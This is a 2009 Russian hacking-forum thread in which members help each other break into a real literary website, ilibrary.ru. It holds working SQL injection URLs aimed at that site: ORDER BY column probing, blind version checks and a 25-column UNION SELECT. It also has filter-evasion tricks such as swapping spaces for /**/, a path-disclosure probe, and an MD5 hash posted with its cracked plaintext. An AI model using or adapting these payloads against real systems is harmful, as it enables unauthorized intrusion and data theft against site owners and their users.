27.01.2009, 22:49
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
Forbidden
You don't have permission to access /sitadm/ on this server.
Это значит я не имею права к просмотру данной папки?
|
|
|
27.01.2009, 22:59
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
А просто на главной не пробовал ввести?
|
|
|
|
27.01.2009, 23:42
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
e5c360d1629a5a05bd77f0f45c24fa9e
Это md5?
|
|
|
|
27.01.2009, 23:44
|
|
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами:
9780227
Репутация:
1423
|
|
да
e5c360d1629a5a05bd77f0f45c24fa9e;rerkjdjl
hashcracking.info
|
|
|
|
28.01.2009, 09:12
|
|
Постоянный
Регистрация: 16.04.2008
Сообщений: 889
С нами:
9510146
Репутация:
1550
|
|
http://ilibrary.ru/text/1320/p.1' - уязвимость есть, делаю
http://ilibrary.ru/text/1320/p.1+order+by+1+-- - пишет ошибку =(
Подскажите)
|
|
|
|
28.01.2009, 14:43
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
http://ilibrary.ru/text/1+)and+substring(version(),1,1)=5;%20--%20((
подскажите)
|
|
|
|
28.01.2009, 14:54
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
1. Там другой комментарий, а именно /*
2. Там фильтруется "+"
|
|
|
|
28.01.2009, 15:09
|
|
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами:
9593606
Репутация:
4915
|
|
R1dex
Опять торопишься. Там слепая скуль на 4 ветке(может и можно вывод найти, особо не копал), комментарий не критично
http://ilibrary.ru/text/1320/?p=1+and+substring(version(),1,1)=4
http://ilibrary.ru/text/1320/?p=1))+order+by+25+--+
http://ilibrary.ru/text/1320/?p=1))+union+select+1,2,3,4,5,6,7,8,9,0,1,2,3,4,5, 6,7,8,9,0,1,2,3,4,5/*
По результатам запроса, грузит файл отсюда:
http://ilibrary.ru/tx2/13/
Возможно и можно что-то вымутить, но мне лень 
Pashkela ай-я-яй
kevmen Я тебя умоляю, пока ненужно давать ответов на вопросы
|
|
|
|
28.01.2009, 15:02
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами:
9649706
Репутация:
3338
|
|
И еще "=" заменяется на "."
Но можно раскрыть путь:
http://ilibrary.ru/text/1%22
и еще там addslashes (http://ru.php.net/addslashes)
http://ilibrary.ru/text/1'
так что скорее всего только путь пока
|
|
|
|
28.01.2009, 15:07
|
|
Познающий
Регистрация: 01.08.2008
Сообщений: 42
С нами:
9355682
Репутация:
50
|
|
пробелы меняем на /**/
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
